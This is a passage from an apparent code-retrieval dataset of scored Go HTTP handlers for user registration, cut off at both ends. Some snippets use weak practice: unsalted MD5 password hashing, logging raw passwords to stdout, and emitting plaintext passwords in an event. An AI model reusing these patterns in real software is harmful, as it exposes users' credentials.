interfaces_internal.IPoint{\n\t\t\t\t\t\tType: \"\",\n\t\t\t\t\t\tCoordinates: nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAffiliatedOrgs: []string{},\n\t\t\t\tInterests: []string{},\n\t\t\t},\n\t\t\tExperienceValidations: []interfaces_internal.IValidations{},\n\t\t})\n\n\t\t// Check for successful insert to database\n\t\tif err != nil {\n\t\t\tSendError(w, http.StatusInternalServerError, internalServerError+\" (There was a problem registering the account.)\", 3203)\n\t\t} else {\n\t\t\tWriteOK(w)\n\t\t}\n\t} else {\n\t\tSendError(w, http.StatusBadRequest, badRequest+\" (Invalid account type)\", 3200)\n\t}\n}", "title": "" }, { "docid": "9e5dd325a6e90be2f73a8215d99d4c5c", "score": "0.6280728", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\n\tvar user models.User\n\terr := json.NewDecoder(r.Body).Decode(&user)\n\n\tif err != nil {\n\t\thttp.Error(w, \"ERROR EN LOS DATOS RECIBIDOS\"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif len(user.Email) == 0 {\n\t\thttp.Error(w, \"El email de usuario es requerido\", 400)\n\t\treturn\n\t}\n\n\tif len(user.Password) < 6 {\n\t\thttp.Error(w, \"Debe especificar una contraseña de almenos 6 caracteres\", 400)\n\t\treturn\n\t}\n\n\t_, finded, _ := db.CheckUserExist(user.Email)\n\tif finded == true {\n\t\thttp.Error(w, \"Ya existe un usuario registrado con ese email\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := db.InsertRegistry(user)\n\tif err != nil {\n\t\thttp.Error(w, \"Ocurrio un error al intentar realizar el registro de usuario\"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif status == false {\n\t\thttp.Error(w, \"No se ha logrado insertar el registro del usuario\", 400)\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n}", "title": "" }, { "docid": "99dd7f8b8fd98b16b9b7fccdedae652f", "score": "0.6272654", "text": "func ParseRegisterForm(w http.ResponseWriter, r *http.Request) {\n var form RegisterFormRequest\n\n utils.Must(utils.ParseForm(r, &form))\n user := models.User{\n Name: form.Name,\n Email: form.Email,\n Password: form.Password,\n }\n if err := models.Create(&user); err != nil {\n http.Error(w, err.Error(), http.StatusInternalServerError)\n return\n }\n err := writeCookieforUser(w, &user)\n if err != nil {\n http.Error(w, err.Error(), http.StatusInternalServerError)\n return\n }\n http.Redirect(w, r, \"/cookietest\", http.StatusFound)\n}", "title": "" }, { "docid": "7ffccb46234ac4db398bd42a5d49a69a", "score": "0.6264723", "text": "func Signup(w http.ResponseWriter, r *http.Request) {\n\tw.Write([]byte(\"signup handler\\n\"))\n}", "title": "" }, { "docid": "46d3c627a6edbbfad99cfaeef605324c", "score": "0.6264275", "text": "func (eh *eventServiceHandler) newUserHandler(w http.ResponseWriter, r *http.Request) {\n\t//in post pass in id, first and last name,age and bookings\n\n\tuser := persistence.User{}\n\terr := json.NewDecoder(r.Body).Decode(&user)\n\tif err != nil {\n\t\tw.WriteHeader(400)\n\t\tfmt.Fprintf(w, \"request body could not be unserialized to user: %s\", err)\n\t\treturn\n\t}\n\n\tpersistedUser, err := eh.dbhandler.AddUser(user)\n\tif err != nil {\n\t\tw.WriteHeader(500)\n\t\tfmt.Fprintf(w, \"could not persist user: %s\", err)\n\t}\n\n\tmsg := contracts.UserCreatedEvent{\n\t\tID: hex.EncodeToString(persistedUser),\n\t\t//ID: string(user.ID),\n\t\tFirst: user.First,\n\t\tLast: user.Last,\n\t\tEmail: user.Email,\n\t\tPassword: user.Password, //clearly this is not something that is passed around and probably hashed\n\t\tAge: user.Age,\n\t\tBookings: user.Bookings,\n\t}\n\terr = eh.eventEmitter.Emit(&msg)\n\tif err != nil {\n\t\tlog.Printf(\"Issue Emitting +%v\", err)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json;charset=utf8\")\n\n\tw.WriteHeader(201)\n\tjson.NewEncoder(w).Encode(&persistedUser)\n}", "title": "" }, { "docid": "929ff72b63b9185eefaa595ec4ff38f8", "score": "0.626325", "text": "func register(w http.ResponseWriter, r *http.Request) {\n\tconst method = \"register\"\n\tuser := User{}\n\n\terr := json.NewDecoder(r.Body).Decode(&user)\n\n\tif err != nil {\n\t\tlog.Em(method, err.Error())\n\t\treturn\n\t} else {\n\t\texists, _ := userExists(user)\n\t\tresponse := Response{false, \"Usuário já registrado\"}\n\n\t\tlog.D(method, \"user\", fmt.Sprintf(\"%v\", user))\n\n\t\tif !exists {\n\t\t\tif addUser(user) {\n\t\t\t\tresponse.Status = true\n\t\t\t\tresponse.Message = \"Registrado com sucesso\"\n\t\t\t} else {\n\t\t\t\tresponse.Message = \"Falha ao registrar usuário\"\n\t\t\t}\n\t\t}\n\n\t\tjson.NewEncoder(w).Encode(response)\n\t}\n}", "title": "" }, { "docid": "0527c8c5a5d1e6f9a4a5cc52bd830683", "score": "0.6262075", "text": "func SignupHandler(userStorage *user.UserStorage, authenticator auth.Authenticator) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tvar response jsonResponse.JSONResponse\n\t\tvar form signupForm\n\n\t\tparseErr := bodyParser.ParseJSON(r, &form)\n\n\t\tif parseErr != nil {\n\t\t\tparseErr.WriteTo(w)\n\t\t\treturn\n\t\t}\n\n\t\tname := form.Name\n\n\t\tnewUser, userCreationError := userStorage.Create(name)\n\n\t\tif userCreationError != nil {\n\t\t\tresponse = jsonResponse.NewErrorResponse(\"/signup/userCreation\", http.StatusInternalServerError, \"Error while creating user\", userCreationError.Error(), r.RequestURI)\n\t\t\tresponse.WriteTo(w)\n\t\t\treturn\n\t\t}\n\n\t\tuserAuthToken, tokenIssueErr := authenticator.Issue(newUser.ID)\n\n\t\tif tokenIssueErr != nil {\n\t\t\tresponse = jsonResponse.NewErrorResponse(\"/signup/tokenGeneration\", http.StatusInternalServerError, \"Failed to create user authentication token\", tokenIssueErr.Error(), r.RequestURI)\n\t\t\tresponse.WriteTo(w)\n\t\t\treturn\n\t\t}\n\n\t\tauthTokenCookie := &http.Cookie{\n\t\t\tName: \"user_auth_token\",\n\t\t\tValue: userAuthToken,\n\t\t\tExpires: time.Now().Add(time.Hour * 24),\n\t\t\tDomain: \"dev.domain.com\",\n\t\t\tHttpOnly: true,\n\t\t}\n\n\t\thttp.SetCookie(w, authTokenCookie)\n\n\t\tresponse = jsonResponse.NewSuccessResponse(\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"data\": map[string]string{\n\t\t\t\t\t\"message\": \"Successfully created user.\",\n\t\t\t\t},\n\t\t\t},\n\t\t\thttp.StatusOK,\n\t\t\tr.RequestURI,\n\t\t)\n\n\t\tresponse.WriteTo(w)\n\t}\n}", "title": "" }, { "docid": "cee526506dbd1e5740a822d7129bda29", "score": "0.6259245", "text": "func (handler UserHandler) Register(w http.ResponseWriter, r *http.Request) {\n\tvar user entities.User\n\tif err := json.NewDecoder(r.Body).Decode(&user); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tid, err := handler.Service.Create(&user)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tuser.ID = id\n\n\tresponse := make(map[string]interface{})\n\tresponse[\"data\"] = user\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusCreated)\n\tjson.NewEncoder(w).Encode(response)\n}", "title": "" }, { "docid": "b471b02aeb435ed662c011d08529288a", "score": "0.6257265", "text": "func registerPage(w http.ResponseWriter, r *http.Request) {\n\tif r.Method == \"GET\" {\n\t\tfmt.Fprintf(w, \"Hi this should have the registration page.\")\n\t} else if r.Method == \"POST\" {\n\t\tr.ParseForm()\n\t\tregistration_username := r.Form[\"registration_username\"][0]\n\t\tregistration_email := r.Form[\"registration_email\"][0]\n\t\tregistration_password_first := r.Form[\"registration_password_first\"][0]\n\t\tregistration_password_second := r.Form[\"registration_password_second\"][0]\n\t\tif accountExists(registration_username) {\n\t\t\tfmt.Fprintf(w, \"An account with the username \"+registration_username+\n\t\t\t\t\" already exists.\\n\\nPlease go back and choose another.\")\n\t\t} else if emailExists(registration_email) {\n\t\t\tfmt.Fprintf(w, \"An account is already associated with the email \"+\n\t\t\t\tregistration_email+\"\\n\\nPlease use a unique email.\")\n\t\t} else if registration_password_first == registration_password_second {\n\t\t\t// Generate a unique random verification key.\n\t\t\t//findKey := true\n\n\t\t\tverify_key := generateUniqueVerify(20)\n\t\t\tsalt_key := generateUniqueSalt(40)\n\t\t\thashed_key := shared.SaltAndHash(registration_password_first, salt_key)\n\n\t\t\tif everify {\n\t\t\t\t// Create email message to send to user.\n\t\t\t\ttext_wport := \"\"\n\t\t\t\tif wport != 80 {\n\t\t\t\t\ttext_wport = \":\" + strconv.Itoa(wport)\n\t\t\t\t}\n\t\t\t\tmsg := []byte(\"Hello \" + registration_username +\n\t\t\t\t\t\"\\n\\nPlease verify your Oldentide account by clicking the following link: \" +\n\t\t\t\t\t\"http://\" + webadd + text_wport + \"/verify/\" + verify_key +\n\t\t\t\t\t\" \\n\\nRegards,\\nOldentide Server Admin\")\n\t\t\t\tto := []string{registration_email}\n\n\t\t\t\t// Store user account information in the database!\n\t\t\t\tif !createAccount(registration_username, registration_email, verify_key, hashed_key, salt_key) {\n\t\t\t\t\tfmt.Fprint(w, \"Account could not be created, it caused a database error\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Send registration email using\n\t\t\t\terr = smtp.SendMail(\"smtp.gmail.com:587\", eauth, email, to, msg)\n\t\t\t\tshared.CheckErr(err)\n\t\t\t\tfmt.Fprintf(w, \"<html>You posted data to the register page.<br><br>\"+\n\t\t\t\t\t\"An email has been sent to verify this information:<br><br>\"+\n\t\t\t\t\t\"Username: %s<br>Email: %s<br><br>\"+\n\t\t\t\t\t\"<b>It may take up to 5 minutes for this email to arrive.</b></html>\",\n\t\t\t\t\tregistration_username, registration_email)\n\t\t\t} else {\n\t\t\t\t// Store user account information in the database!\n\t\t\t\tif !createAccount(registration_username, registration_email, verify_key, hashed_key, salt_key) {\n\t\t\t\t\tfmt.Fprint(w, \"Account could not be created, it caused a database error\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(w, \"<html>You posted data to the register page.<br><br>\"+\n\t\t\t\t\t\"Email verification is disabled, your account has been created.<br>\"+\n\t\t\t\t\t\"Username: %s<br>Email: %s<br><br>\"+\n\t\t\t\t\tregistration_username, registration_email)\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Fprintf(w, \"Your passwords did not match...\")\n\t\t}\n\t} else {\n\t\thttp.Error(w, \"Invalid request method\", http.StatusMethodNotAllowed)\n\t}\n}", "title": "" }, { "docid": "31782f4d8d2461ab11771c5e1ea1e3df", "score": "0.6248796", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\n\tcontext := appengine.NewContext(r)\n\tuser, err := models.NewUser(context, r.Body)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tif j, err := json.Marshal(UserResource{Data: *user}); err != nil {\n\t\tcommon. DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"An unexpected error has occurred\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t} else {\n\t\tuser.HashPassword = nil\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusCreated)\n\t\t//json.NewEncoder(w).Encode(user)\n\t\tw.Write(j)\n\t}\n}", "title": "" }, { "docid": "e12a82292fd33ae8a53b429f3834506e", "score": "0.62391436", "text": "func HandleRegisterUser(ctx context.Context, client *firestore.Client, authClient *auth.Client) func(res http.ResponseWriter, req *http.Request) {\n\treturn func(res http.ResponseWriter, req *http.Request) {\n\t\tres.Header().Set(\"Content-Type\", \"application/json\")\n\n\t\t// register user\n\t\t// add to the db\n\t\tnewUser := models.User{}\n\t\terr := json.NewDecoder(req.Body).Decode(&newUser)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"[ ! ] Error decoding the request body: \", err)\n\t\t}\n\n\t\tparams := (&auth.UserToCreate{}).Email(newUser.Email).DisplayName(newUser.Username)\n\n\t\tuser, err := authClient.CreateUser(ctx, params)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"[ ! ] Error creating user: \", err)\n\t\t}\n\n\t\tfmt.Println(\"[ + ] User created\")\n\t\tdoc := client.Collection(\"users\").NewDoc()\n\t\tnewUser.UID = user.UID\n\t\tnewUser.ID = doc.ID\n\n\t\t_, err = doc.Create(ctx, newUser)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"[ ! ] Error adding document to users collection: \", err)\n\t\t}\n\n\t\tjson.NewEncoder(res).Encode(&newUser)\n\t}\n}", "title": "" }, { "docid": "be263353484238429e1ca1d2acea7cc7", "score": "0.6230005", "text": "func CreateUserHandler(w http.ResponseWriter, r *http.Request) {\n\tvar val = HtmlResponse{}\n\tif isValidSession, _ := session.VerifySession(w, r); isValidSession {\n\t\tval.UserStatus = \"loggedin\"\n\t}\n\tif r.Method == \"GET\" {\n\t\tt, _ := template.ParseFiles(\"templates/create_user.html\")\n\t\tt.Execute(w, val)\n\t} else if r.Method == \"POST\" {\n\t\tr.ParseForm()\n\t\tif helper.CheckUsernameExists(r.Form[\"username\"][0]) {\n\t\t\tval.Result = fmt.Sprintf(\"The username: '%s' is already registered, please try again.\", r.Form[\"username\"][0])\n\t\t\tt, _ := template.ParseFiles(\"templates/result.html\")\n\t\t\tt.Execute(w, val)\n\t\t} else {\n\t\t\thelper.CreateUser(r.Form[\"username\"][0], r.Form[\"password\"][0], r.Form[\"fullname\"][0], r.Form[\"question\"][0], r.Form[\"answer\"][0])\n\t\t\t\n\t\t\tval.Result = \"User created successfully!\"\n\t\t\tt, _ := template.ParseFiles(\"templates/result.html\")\n\t\t\tt.Execute(w, val)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "fa5cb1b7e2e59f96128ae28cdedbcb3d", "score": "0.62261385", "text": "func regCreateHandler(server *Server, client *Client, msg ircmsg.IrcMessage) bool {\n\t// get and sanitise account name\n\taccount := strings.TrimSpace(msg.Params[1])\n\tcasefoldedAccount, err := CasefoldName(account)\n\t// probably don't need explicit check for \"*\" here... but let's do it anyway just to make sure\n\tif err != nil || msg.Params[1] == \"*\" {\n\t\tclient.Send(nil, server.name, ERR_REG_UNSPECIFIED_ERROR, client.nick, account, \"Account name is not valid\")\n\t\treturn false\n\t}\n\n\t// check whether account exists\n\t// do it all in one write tx to prevent races\n\terr = server.store.Update(func(tx *buntdb.Tx) error {\n\t\taccountKey := fmt.Sprintf(keyAccountExists, casefoldedAccount)\n\n\t\t_, err := tx.Get(accountKey)\n\t\tif err != buntdb.ErrNotFound {\n\t\t\t//TODO(dan): if account verified key doesn't exist account is not verified, calc the maximum time without verification and expire and continue if need be\n\t\t\tclient.Send(nil, server.name, ERR_ACCOUNT_ALREADY_EXISTS, client.nick, account, \"Account already exists\")\n\t\t\treturn errAccountCreation\n\t\t}\n\n\t\tregisteredTimeKey := fmt.Sprintf(keyAccountRegTime, casefoldedAccount)\n\n\t\ttx.Set(accountKey, \"1\", nil)\n\t\ttx.Set(fmt.Sprintf(keyAccountName, casefoldedAccount), account, nil)\n\t\ttx.Set(registeredTimeKey, strconv.FormatInt(time.Now().Unix(), 10), nil)\n\t\treturn nil\n\t})\n\n\t// account could not be created and relevant numerics have been dispatched, abort\n\tif err != nil {\n\t\tif err != errAccountCreation {\n\t\t\tclient.Send(nil, server.name, ERR_UNKNOWNERROR, client.nick, \"REG\", \"CREATE\", \"Could not register\")\n\t\t\tlog.Println(\"Could not save registration initial data:\", err.Error())\n\t\t}\n\t\treturn false\n\t}\n\n\t// account didn't already exist, continue with account creation and dispatching verification (if required)\n\tcallback := strings.ToLower(msg.Params[2])\n\tvar callbackNamespace, callbackValue string\n\n\tif callback == \"*\" {\n\t\tcallbackNamespace = \"*\"\n\t} else if strings.Contains(callback, \":\") {\n\t\tcallbackValues := strings.SplitN(callback, \":\", 2)\n\t\tcallbackNamespace, callbackValue = callbackValues[0], callbackValues[1]\n\t} else {\n\t\tcallbackNamespace = server.accountRegistration.EnabledCallbacks[0]\n\t\tcallbackValue = callback\n\t}\n\n\t// ensure the callback namespace is valid\n\t// need to search callback list, maybe look at using a map later?\n\tvar callbackValid bool\n\tfor _, name := range server.accountRegistration.EnabledCallbacks {\n\t\tif callbackNamespace == name {\n\t\t\tcallbackValid = true\n\t\t}\n\t}\n\n\tif !callbackValid {\n\t\tclient.Send(nil, server.name, ERR_REG_INVALID_CALLBACK, client.nick, account, callbackNamespace, \"Callback namespace is not supported\")\n\t\tremoveFailedRegCreateData(server.store, casefoldedAccount)\n\t\treturn false\n\t}\n\n\t// get credential type/value\n\tvar credentialType, credentialValue string\n\n\tif len(msg.Params) > 4 {\n\t\tcredentialType = strings.ToLower(msg.Params[3])\n\t\tcredentialValue = msg.Params[4]\n\t} else if len(msg.Params) == 4 {\n\t\tcredentialType = \"passphrase\" // default from the spec\n\t\tcredentialValue = msg.Params[3]\n\t} else {\n\t\tclient.Send(nil, server.name, ERR_NEEDMOREPARAMS, client.nick, msg.Command, \"Not enough parameters\")\n\t\tremoveFailedRegCreateData(server.store, casefoldedAccount)\n\t\treturn false\n\t}\n\n\t// ensure the credential type is valid\n\tvar credentialValid bool\n\tfor _, name := range server.accountRegistration.EnabledCredentialTypes {\n\t\tif credentialType == name {\n\t\t\tcredentialValid = true\n\t\t}\n\t}\n\tif credentialType == \"certfp\" && client.certfp == \"\" {\n\t\tclient.Send(nil, server.name, ERR_REG_INVALID_CRED_TYPE, client.nick, credentialType, callbackNamespace, \"You are not using a certificiate\")\n\t\tremoveFailedRegCreateData(server.store, casefoldedAccount)\n\t\treturn false\n\t}\n\n\tif !credentialValid {\n\t\tclient.Send(nil, server.name, ERR_REG_INVALID_CRED_TYPE, client.nick, credentialType, callbackNamespace, \"Credential type is not supported\")\n\t\tremoveFailedRegCreateData(server.store, casefoldedAccount)\n\t\treturn false\n\t}\n\n\t// store details\n\terr = server.store.Update(func(tx *buntdb.Tx) error {\n\t\t// certfp special lookup key\n\t\tif credentialType == \"certfp\" {\n\t\t\tassembledKeyCertToAccount := fmt.Sprintf(keyCertToAccount, client.certfp)\n\n\t\t\t// make sure certfp doesn't already exist because that'd be silly\n\t\t\t_, err := tx.Get(assembledKeyCertToAccount)\n\t\t\tif err != buntdb.ErrNotFound {\n\t\t\t\treturn errCertfpAlreadyExists\n\t\t\t}\n\n\t\t\ttx.Set(assembledKeyCertToAccount, casefoldedAccount, nil)\n\t\t}\n\n\t\t// make creds\n\t\tvar creds AccountCredentials\n\n\t\t// always set passphrase salt\n\t\tcreds.PassphraseSalt, err = NewSalt()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Could not create passphrase salt: %s\", err.Error())\n\t\t}\n\n\t\tif credentialType == \"certfp\" {\n\t\t\tcreds.Certificate = client.certfp\n\t\t} else if credentialType == \"passphrase\" {\n\t\t\tcreds.PassphraseHash, err = server.passwords.GenerateFromPassword(creds.PassphraseSalt, credentialValue)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Could not hash password: %s\", err)\n\t\t\t}\n\t\t}\n\t\tcredText, err := json.Marshal(creds)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Could not marshal creds: %s\", err)\n\t\t}\n\t\ttx.Set(fmt.Sprintf(keyAccountCredentials, account), string(credText), nil)\n\n\t\treturn nil\n\t})\n\n\t// details could not be stored and relevant numerics have been dispatched, abort\n\tif err != nil {\n\t\terrMsg := \"Could not register\"\n\t\tif err == errCertfpAlreadyExists {\n\t\t\terrMsg = \"An account already exists for your certificate fingerprint\"\n\t\t}\n\t\tclient.Send(nil, server.name, ERR_UNKNOWNERROR, client.nick, \"REG\", \"CREATE\", errMsg)\n\t\tlog.Println(\"Could not save registration creds:\", err.Error())\n\t\tremoveFailedRegCreateData(server.store, casefoldedAccount)\n\t\treturn false\n\t}\n\n\t// automatically complete registration\n\tif callbackNamespace == \"*\" {\n\t\terr = server.store.Update(func(tx *buntdb.Tx) error {\n\t\t\ttx.Set(fmt.Sprintf(keyAccountVerified, casefoldedAccount), \"1\", nil)\n\n\t\t\t// load acct info inside store tx\n\t\t\taccount := ClientAccount{\n\t\t\t\tName: strings.TrimSpace(msg.Params[1]),\n\t\t\t\tRegisteredAt: time.Now(),\n\t\t\t\tClients: []*Client{client},\n\t\t\t}\n\t\t\t//TODO(dan): Consider creating ircd-wide account adding/removing/affecting lock for protecting access to these sorts of variables\n\t\t\tserver.accounts[casefoldedAccount] = &account\n\t\t\tclient.account = &account\n\n\t\t\tclient.Send(nil, server.name, RPL_REGISTRATION_SUCCESS, client.nick, account.Name, \"Account created\")\n\t\t\tclient.Send(nil, server.name, RPL_LOGGEDIN, client.nick, client.nickMaskString, account.Name, fmt.Sprintf(\"You are now logged in as %s\", account.Name))\n\t\t\tclient.Send(nil, server.name, RPL_SASLSUCCESS, client.nick, \"Authentication successful\")\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\tclient.Send(nil, server.name, ERR_UNKNOWNERROR, client.nick, \"REG\", \"CREATE\", \"Could not register\")\n\t\t\tlog.Println(\"Could not save verification confirmation (*):\", err.Error())\n\t\t\tremoveFailedRegCreateData(server.store, casefoldedAccount)\n\t\t\treturn false\n\t\t}\n\n\t\treturn false\n\t}\n\n\t// dispatch callback\n\tclient.Notice(fmt.Sprintf(\"We should dispatch a real callback here to %s:%s\", callbackNamespace, callbackValue))\n\n\treturn false\n}", "title": "" }, { "docid": "18ef58838b7a2950dba124adcb85e788", "score": "0.6221765", "text": "func Registration(c buffalo.Context) error {\n\n\treturn c.Render(200, r.HTML(\"registration_form.html\", \"master_page/registration_tmp.html\"))\n}", "title": "" }, { "docid": "85b3fe6896b0cfd8e6e2fab019532f10", "score": "0.62199736", "text": "func AdminUserNewHandler(ctx *middleware.AppContext, w http.ResponseWriter, r *http.Request) *middleware.Template {\n\treturn &middleware.Template{\n\t\tName: tplAdminUserNew,\n\t\tActive: \"users\",\n\t}\n}", "title": "" }, { "docid": "e930b137f418978a00851f9673ab5042", "score": "0.6219614", "text": "func RegisterHandler(w http.ResponseWriter, r *http.Request) {\n\tvar player models.Player\n\tif err := extractStruct(r, &player); err != nil {\n\t\trenderJSON(w, http.StatusBadRequest, models.Error{Description: err.Error()})\n\t\treturn\n\t}\n\n\tif err := validate(&player); err != nil {\n\t\trenderJSON(w, http.StatusBadRequest, models.Error{Description: err.Error()})\n\t\treturn\n\t}\n\n\tif err := models.PlayerPersistenceInstance.Save(player); err != nil {\n\t\trenderJSON(w, http.StatusBadRequest, models.Error{Description: err.Error()})\n\t\treturn\n\t}\n\n\trenderJSON(w, http.StatusCreated, player)\n}", "title": "" }, { "docid": "17e390a1405647ed834912863ba43ef7", "score": "0.621928", "text": "func Register(c *gin.Context) {\n\tnickName := c.PostForm(\"nick_name\")\n\tphone := c.PostForm(\"phone\")\n\tpassword := c.PostForm(\"password\")\n\topenId := c.DefaultPostForm(\"open_id\", \"\")\n\n\t//check phone is not used\n\tusers, err := userModel.GetUsersByStrKey(\"phone\", phone)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"msg\": err.Error,\n\t\t})\n\t\tlog.ErrorLog.Println(err)\n\t\tc.Error(err)\n\t\treturn\n\t}\n\tif len(users) != 0 {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"msg\": \"phone is registered\",\n\t\t})\n\t\tlog.ErrorLog.Println(\"phone is registered\")\n\t\tc.Error(errors.New(\"phone is registered\"))\n\t\treturn\n\t}\n\n\t// create new user\n\tuser := userModel.User{}\n\tuser.OpenId = openId\n\tuser.NickName = nickName\n\n\t// encrypt password with MD5\n\tpassword = util.MD5(password)\n\tuser.Password = password\n\tuser.Phone = phone\n\tuser, res := userModel.AddUser(user)\n\n\tif res {\n\t\t// successfully register\n\t\tuserJson, err := util.StructToJsonStr(user)\n\t\tif err != nil {\n\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\t\"msg\": err.Error(),\n\t\t\t})\n\t\t\tlog.ErrorLog.Println(err)\n\t\t\tc.Error(err)\n\t\t\treturn\n\t\t}\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": \"successfully register\",\n\t\t\t\"user\": userJson,\n\t\t})\n\t\tlog.InfoLog.Println(\"successfully register\")\n\t} else {\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"msg\": \"fail to register\",\n\t\t})\n\t\tlog.ErrorLog.Println(\"fail to register\")\n\t\tc.Error(errors.New(\"fail to register\"))\n\t}\n}", "title": "" }, { "docid": "05fb57f1550844c8f64547bbd6dcd117", "score": "0.6214826", "text": "func registerAuthHandler(w http.ResponseWriter, r *http.Request) {\r\n\t/*\r\n\t\t1. check username criteria\r\n\t\t2. check password criteria\r\n\t\t3. check if username is already exists in database\r\n\t\t4. create bcrypt hash from password\r\n\t\t5. insert username and password hash in database\r\n\t\t(email validation will be in another video)\r\n\t*/\r\n\tfmt.Println(\"*****registerAuthHandler running*****\")\r\n\tr.ParseForm()\r\n\tusername := r.FormValue(\"username\")\r\n\t// check username for only alphaNumeric characters\r\n\tvar nameAlphaNumeric = true\r\n\tfor _, char := range username {\r\n\t\t// func IsLetter(r rune) bool, func IsNumber(r rune) bool\r\n\t\t// if !unicode.IsLetter(char) && !unicode.IsNumber(char) {\r\n\t\tif unicode.IsLetter(char) == false && unicode.IsNumber(char) == false {\r\n\t\t\tnameAlphaNumeric = false\r\n\t\t}\r\n\t}\r\n\t// check username pswdLength\r\n\tvar nameLength bool\r\n\tif 5 <= len(username) && len(username) <= 50 {\r\n\t\tnameLength = true\r\n\t}\r\n\t// check password criteria\r\n\tpassword := r.FormValue(\"password\")\r\n\tfmt.Println(\"password:\", password, \"\\npswdLength:\", len(password))\r\n\t// variables that must pass for password creation criteria\r\n\tvar pswdLowercase, pswdUppercase, pswdNumber, pswdSpecial, pswdLength, pswdNoSpaces bool\r\n\tpswdNoSpaces = true\r\n\tfor _, char := range password {\r\n\t\tswitch {\r\n\t\t// func IsLower(r rune) bool\r\n\t\tcase unicode.IsLower(char):\r\n\t\t\tpswdLowercase = true\r\n\t\t// func IsUpper(r rune) bool\r\n\t\tcase unicode.IsUpper(char):\r\n\t\t\tpswdUppercase = true\r\n\t\t// func IsNumber(r rune) bool\r\n\t\tcase unicode.IsNumber(char):\r\n\t\t\tpswdNumber = true\r\n\t\t// func IsPunct(r rune) bool, func IsSymbol(r rune) bool\r\n\t\tcase unicode.IsPunct(char) || unicode.IsSymbol(char):\r\n\t\t\tpswdSpecial = true\r\n\t\t// func IsSpace(r rune) bool, type rune = int32\r\n\t\tcase unicode.IsSpace(int32(char)):\r\n\t\t\tpswdNoSpaces = false\r\n\t\t}\r\n\t}\r\n\tif 11 < len(password) && len(password) < 60 {\r\n\t\tpswdLength = true\r\n\t}\r\n\tfmt.Println(\"pswdLowercase:\", pswdLowercase, \"\\npswdUppercase:\", pswdUppercase, \"\\npswdNumber:\", pswdNumber, \"\\npswdSpecial:\", pswdSpecial, \"\\npswdLength:\", pswdLength, \"\\npswdNoSpaces:\", pswdNoSpaces, \"\\nnameAlphaNumeric:\", nameAlphaNumeric, \"\\nnameLength:\", nameLength)\r\n\tif !pswdLowercase || !pswdUppercase || !pswdNumber || !pswdSpecial || !pswdLength || !pswdNoSpaces || !nameAlphaNumeric || !nameLength {\r\n\t\ttpl.ExecuteTemplate(w, \"register.html\", \"please check username and password criteria\")\r\n\t\treturn\r\n\t}\r\n\t// check if username already exists for availability\r\n\tstmt := \"SELECT UserID FROM bcrypt WHERE username = ?\"\r\n\trow := db.QueryRow(stmt, username)\r\n\tvar uID string\r\n\terr := row.Scan(&uID)\r\n\tif err != sql.ErrNoRows {\r\n\t\tfmt.Println(\"username already exists, err:\", err)\r\n\t\ttpl.ExecuteTemplate(w, \"register.html\", \"username already taken\")\r\n\t\treturn\r\n\t}\r\n\t// create hash from password\r\n\tvar hash []byte\r\n\t// func GenerateFromPassword(password []byte, cost int) ([]byte, error)\r\n\thash, err = bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"bcrypt err:\", err)\r\n\t\ttpl.ExecuteTemplate(w, \"register.html\", \"there was a problem registering account\")\r\n\t\treturn\r\n\t}\r\n\tfmt.Println(\"hash:\", hash)\r\n\tfmt.Println(\"string(hash):\", string(hash))\r\n\t// func (db *DB) Prepare(query string) (*Stmt, error)\r\n\tvar insertStmt *sql.Stmt\r\n\tinsertStmt, err = db.Prepare(\"INSERT INTO bcrypt (Username, Hash) VALUES (?, ?);\")\r\n\tif err != nil {\r\n\t\tfmt.Println(\"error preparing statement:\", err)\r\n\t\ttpl.ExecuteTemplate(w, \"register.html\", \"there was a problem registering account\")\r\n\t\treturn\r\n\t}\r\n\tdefer insertStmt.Close()\r\n\tvar result sql.Result\r\n\t// func (s *Stmt) Exec(args ...interface{}) (Result, error)\r\n\tresult, err = insertStmt.Exec(username, hash)\r\n\trowsAff, _ := result.RowsAffected()\r\n\tlastIns, _ := result.LastInsertId()\r\n\tfmt.Println(\"rowsAff:\", rowsAff)\r\n\tfmt.Println(\"lastIns:\", lastIns)\r\n\tfmt.Println(\"err:\", err)\r\n\tif err != nil {\r\n\t\tfmt.Println(\"error inserting new user\")\r\n\t\ttpl.ExecuteTemplate(w, \"register.html\", \"there was a problem registering 